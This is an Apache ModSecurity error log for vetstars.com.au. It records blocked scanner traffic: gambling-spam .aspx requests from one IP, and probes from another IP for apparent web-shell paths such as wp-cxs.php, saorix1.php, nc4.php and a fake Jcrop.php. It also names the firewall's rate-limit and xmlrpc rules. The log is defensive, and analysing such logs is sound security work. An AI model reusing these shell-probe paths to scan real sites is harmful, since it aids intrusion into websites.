[Tue Mar 24 20:28:18.031884 2026] [:error] [pid 3031:tid 3097] [client 178.150.14.250:54176] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acKDYqJBKytnG47nuiY39wAAAFU"]
[Tue Mar 24 20:28:20.731563 2026] [:error] [pid 64198:tid 64200] [client 178.150.14.250:54180] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acKDZHVzJqf6OS_oSZ25XQAAAUA"]
[Tue Mar 24 20:28:23.473905 2026] [:error] [pid 3030:tid 3066] [client 178.150.14.250:54192] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acKDZwyOuILyynfcqflfAAAAABE"]
[Tue Mar 24 20:28:26.029931 2026] [:error] [pid 38767:tid 38781] [client 178.150.14.250:49896] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "acKDavwkUqN4GJAI5oU30gAAAQs"]
[Tue Mar 24 20:28:28.787464 2026] [:error] [pid 38767:tid 38785] [client 178.150.14.250:49908] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acKDbPwkUqN4GJAI5oU32QAAAQ8"]
[Tue Mar 24 20:28:31.363063 2026] [:error] [pid 64198:tid 64208] [client 178.150.14.250:49914] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acKDb3VzJqf6OS_oSZ25ZwAAAUg"]
[Tue Mar 24 20:28:33.971878 2026] [:error] [pid 48219:tid 48297] [client 178.150.14.250:49920] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acKDcShf3b4R_lAIyv-BOQAAAhA"]
[Tue Mar 24 20:28:36.496867 2026] [:error] [pid 38767:tid 38772] [client 178.150.14.250:40454] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acKDdPwkUqN4GJAI5oU34wAAAQI"]
[Tue Mar 24 20:28:39.173744 2026] [:error] [pid 48128:tid 48161] [client 178.150.14.250:40468] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acKDd8vR4LIMFLbM5Vk5UAAAAYk"]
[Tue Mar 24 20:28:41.802713 2026] [:error] [pid 3137:tid 3151] [client 178.150.14.250:40482] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acKDeZdZesutm6dfYM8xtgAAAMw"]
[Tue Mar 24 20:28:44.451868 2026] [:error] [pid 3032:tid 3113] [client 178.150.14.250:47436] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acKDfCa_-JXXD03-JNxWswAAAIo"]
[Tue Mar 24 20:28:47.151466 2026] [:error] [pid 48219:tid 48288] [client 178.150.14.250:47452] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acKDfyhf3b4R_lAIyv-BTwAAAgc"]
[Tue Mar 24 20:28:49.660319 2026] [:error] [pid 3030:tid 3063] [client 178.150.14.250:47462] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acKDgQyOuILyynfcqflfCAAAAA4"]
[Tue Mar 24 20:28:52.271168 2026] [:error] [pid 48219:tid 48293] [client 178.150.14.250:47476] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acKDhChf3b4R_lAIyv-BXwAAAgw"]
[Tue Mar 24 20:28:54.684502 2026] [:error] [pid 38767:tid 38771] [client 178.150.14.250:40054] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acKDhvwkUqN4GJAI5oU39gAAAQE"]
[Tue Mar 24 20:28:57.356298 2026] [:error] [pid 3031:tid 3089] [client 178.150.14.250:40064] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acKDiaJBKytnG47nuiY4AQAAAE0"]
[Tue Mar 24 20:29:00.083797 2026] [:error] [pid 3032:tid 3127] [client 178.150.14.250:40066] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acKDjCa_-JXXD03-JNxWvQAAAJc"]
[Tue Mar 24 20:29:02.817634 2026] [:error] [pid 48219:tid 48290] [client 178.150.14.250:40082] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "acKDjihf3b4R_lAIyv-BZgAAAgk"]
[Tue Mar 24 20:29:05.340267 2026] [:error] [pid 48128:tid 48164] [client 178.150.14.250:45366] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acKDkcvR4LIMFLbM5Vk5WAAAAYw"]
[Tue Mar 24 20:29:51.167982 2026] [:error] [pid 3032:tid 3123] [client 178.150.14.250:45376] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acKDvya_-JXXD03-JNxW2gAAAJQ"]
[Tue Mar 24 20:29:53.669784 2026] [:error] [pid 64198:tid 64214] [client 178.150.14.250:41766] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acKDwXVzJqf6OS_oSZ25vwAAAU4"]
[Tue Mar 24 20:29:56.320348 2026] [:error] [pid 38767:tid 38774] [client 178.150.14.250:58886] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acKDxPwkUqN4GJAI5oU4bwAAAQQ"]
[Tue Mar 24 20:29:59.008648 2026] [:error] [pid 3032:tid 3117] [client 178.150.14.250:58892] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acKDxya_-JXXD03-JNxW3QAAAI4"]
[Tue Mar 24 20:30:01.402403 2026] [:error] [pid 48219:tid 48284] [client 178.150.14.250:58896] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acKDyShf3b4R_lAIyv-BlgAAAgM"]
[Tue Mar 24 20:30:03.949269 2026] [:error] [pid 48219:tid 48289] [client 178.150.14.250:58900] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acKDyyhf3b4R_lAIyv-BmAAAAgg"]
[Tue Mar 24 20:30:06.637541 2026] [:error] [pid 3032:tid 3114] [client 178.150.14.250:38094] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acKDzia_-JXXD03-JNxW3wAAAIs"]
[Tue Mar 24 20:30:09.025594 2026] [:error] [pid 38767:tid 38778] [client 178.150.14.250:38108] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acKD0fwkUqN4GJAI5oU4dwAAAQg"]
[Tue Mar 24 20:30:11.541376 2026] [:error] [pid 3031:tid 3086] [client 178.150.14.250:38122] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acKD06JBKytnG47nuiY4DAAAAEo"]
[Tue Mar 24 20:30:14.154283 2026] [:error] [pid 3031:tid 3089] [client 178.150.14.250:47506] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acKD1qJBKytnG47nuiY4DQAAAE0"]
[Tue Mar 24 20:30:16.641484 2026] [:error] [pid 48219:tid 48285] [client 178.150.14.250:47520] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acKD2Chf3b4R_lAIyv-BnQAAAgQ"]
[Tue Mar 24 20:30:19.268559 2026] [:error] [pid 3137:tid 3154] [client 178.150.14.250:47532] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acKD25dZesutm6dfYM8x_QAAAM8"]
[Tue Mar 24 20:30:21.727146 2026] [:error] [pid 64198:tid 64212] [client 178.150.14.250:47548] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acKD3XVzJqf6OS_oSZ253gAAAUw"]
[Tue Mar 24 20:30:24.305653 2026] [:error] [pid 3032:tid 3118] [client 178.150.14.250:41244] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acKD4Ca_-JXXD03-JNxW5AAAAI8"]
[Tue Mar 24 20:59:45.688348 2026] [:error] [pid 3030:tid 3057] [client 123.17.9.228:55459] [client 123.17.9.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.17.9.228, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acKKwQyOuILyynfcqflitwAAAAg"]
[Tue Mar 24 21:21:16.154397 2026] [:error] [pid 3031:tid 3092] [client 20.19.171.59:30872] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acKPzKJBKytnG47nuiY8HgAAAFA"]
[Tue Mar 24 21:21:17.067659 2026] [:error] [pid 3030:tid 3049] [client 20.19.171.59:30852] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acKPzQyOuILyynfcqflk7gAAAAA"]
[Tue Mar 24 21:21:17.728097 2026] [:error] [pid 3030:tid 3062] [client 20.19.171.59:40382] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acKPzQyOuILyynfcqflk8AAAAA0"]
[Tue Mar 24 21:21:18.389852 2026] [:error] [pid 38767:tid 38793] [client 20.19.171.59:10954] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acKPzvwkUqN4GJAI5oVTxAAAARc"]
[Tue Mar 24 21:21:19.107157 2026] [:error] [pid 48128:tid 48172] [client 20.19.171.59:10553] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acKPz8vR4LIMFLbM5Vk-agAAAZM"]
[Tue Mar 24 21:21:20.062610 2026] [:error] [pid 3137:tid 3154] [client 20.19.171.59:10527] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acKP0JdZesutm6dfYM9AAQAAAM8"]
[Tue Mar 24 21:21:20.643692 2026] [:error] [pid 64198:tid 64221] [client 20.19.171.59:40373] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acKP0HVzJqf6OS_oSZ3LTgAAAVU"]
[Tue Mar 24 21:21:21.251122 2026] [:error] [pid 64198:tid 64224] [client 20.19.171.59:40322] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acKP0XVzJqf6OS_oSZ3LUwAAAVg"]
[Tue Mar 24 21:21:21.756706 2026] [:error] [pid 3030:tid 3058] [client 20.19.171.59:27938] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acKP0QyOuILyynfcqflk8gAAAAk"]
[Tue Mar 24 21:21:22.485791 2026] [:error] [pid 3137:tid 3145] [client 20.19.171.59:27952] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acKP0pdZesutm6dfYM9ABAAAAMY"]
[Tue Mar 24 21:21:23.010639 2026] [:error] [pid 3137:tid 3147] [client 20.19.171.59:27934] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acKP05dZesutm6dfYM9ABgAAAMg"]
[Tue Mar 24 21:21:23.594648 2026] [:error] [pid 3137:tid 3139] [client 20.19.171.59:15343] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acKP05dZesutm6dfYM9ACAAAAMA"]
[Tue Mar 24 21:21:24.092184 2026] [:error] [pid 38767:tid 38776] [client 20.19.171.59:42979] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acKP1PwkUqN4GJAI5oVTyAAAAQY"]
[Tue Mar 24 21:21:24.670265 2026] [:error] [pid 3137:tid 3141] [client 20.19.171.59:13008] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acKP1JdZesutm6dfYM9ACwAAAMI"]
[Tue Mar 24 21:21:25.256121 2026] [:error] [pid 38767:tid 38781] [client 20.19.171.59:1920] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acKP1fwkUqN4GJAI5oVTzQAAAQs"]
[Tue Mar 24 21:21:25.784047 2026] [:error] [pid 3137:tid 3161] [client 20.19.171.59:43002] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acKP1ZdZesutm6dfYM9ADQAAANY"]
[Tue Mar 24 21:21:26.420069 2026] [:error] [pid 48214:tid 48274] [client 20.19.171.59:44841] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acKP1reshLWZ3uUDHKl2gwAAAdY"]
[Tue Mar 24 21:21:27.063553 2026] [:error] [pid 3137:tid 3153] [client 20.19.171.59:44825] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acKP15dZesutm6dfYM9ADwAAAM4"]
[Tue Mar 24 21:21:27.624404 2026] [:error] [pid 48214:tid 48262] [client 20.19.171.59:10498] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acKP17eshLWZ3uUDHKl2iQAAAco"]
[Tue Mar 24 21:21:28.122396 2026] [:error] [pid 3137:tid 3142] [client 20.19.171.59:18929] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acKP2JdZesutm6dfYM9AEAAAAMM"]
[Tue Mar 24 21:21:28.605789 2026] [:error] [pid 3031:tid 3083] [client 20.19.171.59:42966] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "acKP2KJBKytnG47nuiY8IgAAAEc"]
